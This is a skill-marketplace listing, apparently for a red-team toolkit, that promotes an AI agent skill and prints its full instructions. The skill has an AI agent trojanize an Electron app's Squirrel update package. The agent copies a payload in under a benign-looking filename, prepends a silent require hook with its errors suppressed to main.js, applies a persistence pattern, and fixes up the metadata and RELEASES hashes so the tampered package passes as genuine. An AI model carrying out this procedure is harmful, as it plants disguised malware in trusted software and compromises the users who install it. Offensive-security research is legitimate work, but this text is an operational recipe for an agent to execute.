Electron Squirrel Repackage

Organization

SpecterOps

electron-squirrel-repackage

Repackage a newer Electron app into an older Squirrel-style delivery chain while injecting a main-process payload. Use when staging a benignly named payload, hooking main.js, normalizing metadata, and regenerating RELEASES.

Overview

Publisher	SpecterOps
Repository	`skills`
Skill name	`electron-squirrel-repackage`
Stars	706
Forks	80
Bundled files	3
License	Apache-2.0
Links	Skill source Repository

Markdown instructions
A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.
Works with any LLM
AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.
3 bundled files
Scripts, templates, and references the model can read while it works. Files are read-only and never executed.
Open source
Published by SpecterOps on GitHub. Read the source before you install it.

Installation

Install the Electron Squirrel Repackage AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

Open the app and go to Plugins → Skills.
Choose "Install from GitHub".
Paste the skill folder URL below and confirm.
https://github.com/SpecterOps/skills/tree/main/plugins/payloads/skills/electron-squirrel-repackage
Enable the skill in any chat where you want it available.

Store

Installed

Skills

Add skills

Import one or more skills from a public GitHub folder or a local .skill or .zip archive, or SKILL.md file.

From GitHub URLFrom .skill, .zip, or SKILL.md

GitHub repo or folder

https://github.com/SpecterOps/skills/tree/main/plugins/payloads/skills/electron-squirrel-repackage

Points to a single skill folder, or any folder that contains multiple skills. Public repos only.

CancelContinue

Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills

git clone --depth 1 https://github.com/SpecterOps/skills.git /tmp/skills
mkdir -p .claude/skills
cp -r /tmp/skills/plugins/payloads/skills/electron-squirrel-repackage .claude/skills/electron-squirrel-repackage

Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Electron Squirrel Repackage in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Electron Squirrel Repackage on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Electron Squirrel Repackage is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

Loaded only when it is needed
The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.
Switch models mid-chat
Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Electron Squirrel Repackage

Use this skill when rebuilding a working Electron payload chain for a new payload file against a newer Electron runtime.

Inputs

path to the payload JS file
path to the newer Electron app package or .nupkg
output working directory
target delivery version/filename when an older chain must be preserved

Workflow

Start from the newer Electron package, not an older app.asar build if the payload needs newer Electron/Node behavior.
Work in the unpacked app directory (for example lib/net45/resources/app/).
Copy the payload into the app directory under a benign application-like filename.

Prepend the main-process hook early in main.js:

js
try { require('./<benign-name>.js') } catch (e) {}

Reuse the install/persistence pattern from electron-install-persistence when the app must remain alive after install.
Normalize metadata for the target delivery chain:
- output filename
- nuspec/app version fields
- package metadata consistency

Repack the package and regenerate:

text
<sha1> <filename> <size>

Output

Always report:

final package path
final RELEASES line
benign payload filename used
files modified
which persistence/install strategy was applied

Do Not

switch back to an older app.asar build when newer Electron is required
leave filename, metadata, and RELEASES out of sync
do ZIP/LNK delivery packaging unless explicitly requested

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Electron Squirrel Repackage AI skill do?

Why use Electron Squirrel Repackage on TypingMind?

Because you install it once and use it with any model. Electron Squirrel Repackage is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Electron Squirrel Repackage in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/SpecterOps/skills/tree/main/plugins/payloads/skills/electron-squirrel-repackage. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Electron Squirrel Repackage?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Electron Squirrel Repackage?

As many as you like. As long as a model supports skills, you can use Electron Squirrel Repackage with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Electron Squirrel Repackage AI skill free?

Yes. It is published on GitHub by SpecterOps under the Apache-2.0 license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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Overview

Installation

Install in TypingMind

Install in another agent

Use it in TypingMind

Works with any AI model

Skill instructions

Electron Squirrel Repackage

Inputs

Workflow

Output

Do Not

Bundled files

Frequently asked questions

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